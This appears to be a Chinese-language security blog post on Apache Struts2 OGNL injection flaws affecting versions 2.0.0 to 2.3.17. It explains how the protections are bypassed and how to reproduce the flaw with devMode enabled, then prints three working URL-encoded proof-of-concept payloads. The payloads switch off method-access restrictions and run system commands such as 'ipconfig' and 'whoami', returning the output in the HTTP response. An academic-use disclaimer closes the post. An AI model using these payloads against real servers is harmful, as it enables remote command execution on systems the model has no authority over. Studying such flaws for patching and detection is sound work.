漏洞簡介
為了防止攻擊者在參數內調用任意方法,默認情況下將標志xwork.MethodAccessor.denyMethodExecution設置為true,並將SecurityMemberAccess字段allowStaticMethodAccess設置為false。另外,為了防止訪問上下文變量,自Struts 2.2.1.1開始,在ParameterInterceptor中應用了針對參數名稱的改進字符白名單:acceptedParamNames = "[a-zA-Z0-9\.][()_']+";
在某些情況下,可以繞過這些限制以執行惡意Java代碼。
1,在Struts <= 2.2.3中執行遠程命令(ExceptionDelegator)即S2-007
將參數值應用於屬性時發生異常時,該值將作為OGNL表達式求值。例如,在將字符串值設置為整數屬性時會發生這種情況。由於未過濾值,因此攻擊者可以濫用OGNL語言的功能來執行任意Java代碼,從而導致遠程命令執行。已報告此問題(https://issues.apache.org/jira/browse/WW-3668),該問題已在Struts 2.2.3.1中修復。但是,執行任意Java代碼的能力已被忽略。
2,在Struts <= 2.3.1(CookieInterceptor)中執行遠程命令
參數名稱的字符白名單不適用於CookieInterceptor。將Struts配置為處理cookie名稱時,攻擊者可以執行對Java函數具有靜態方法訪問權限的任意系統命令。因此,可以在請求中將標志allowStaticMethodAccess設置為true。雖然cookiename沒有做特殊字符的限制,會被當作ognl代碼執行。不過java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,該漏洞局限性較大,危害較小。
3,Struts <= 2.3.1中的任意文件覆蓋(ParameterInterceptor)
由於Struts 2.2.3.1禁止在參數內訪問標志allowStaticMethodAccess,因此攻擊者仍然可以僅使用String類型的一個參數訪問公共構造函數以創建新的Java對象,並僅使用String類型的一個參數訪問其setter。例如,在創建和覆蓋任意文件時可能會濫用此權限。要將禁止的字符注入文件名,可以使用未初始化的字符串屬性。
4,在Struts <= 2.3.17中遠程執行命令(DebuggingInterceptor)
盡管本身不是安全漏洞,但請注意,以開發人員模式運行並使用DebuggingInterceptor的應用程序也容易執行遠程命令。盡管應用程序在生產過程中絕不應在開發人員模式下運行,但開發人員應意識到,這樣做不僅會帶來性能問題(如文檔所述),而且還會對安全性造成嚴重影響。
影響版本
Struts 2.0.0 - Struts 2.3.17
漏洞復現
環境准備
Windows 7 64bit(內含XAMPP)
★首先打開xampp安裝目錄下的stryts.xml文件,例如:C:\xampp\tomcat\webapps\struts2-showcase-2.1.6\WEB-INF\classes
,保證文件內有如下語句:<constantname="struts.devMode" value="true" />
說明:
Struts2框架存在一個devmode模式,方便開發人員調試程序,但是默認devmode是不開啟的,如果想要使用,需要手動修改參數。
任意文件覆蓋POC
//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
遠程執行命令POC-1
debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
遠程執行命令POC-2(可直接回顯)
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
結果截圖
說明:本專題只為學術交流,請所有讀者切勿利用以上資源用於非法犯罪活動,有任何問題歡迎聯系我的郵箱1294553086@qq.com。
部分文字性說明來源於網上資源,若有侵權請發郵件到1294553086@qq.com。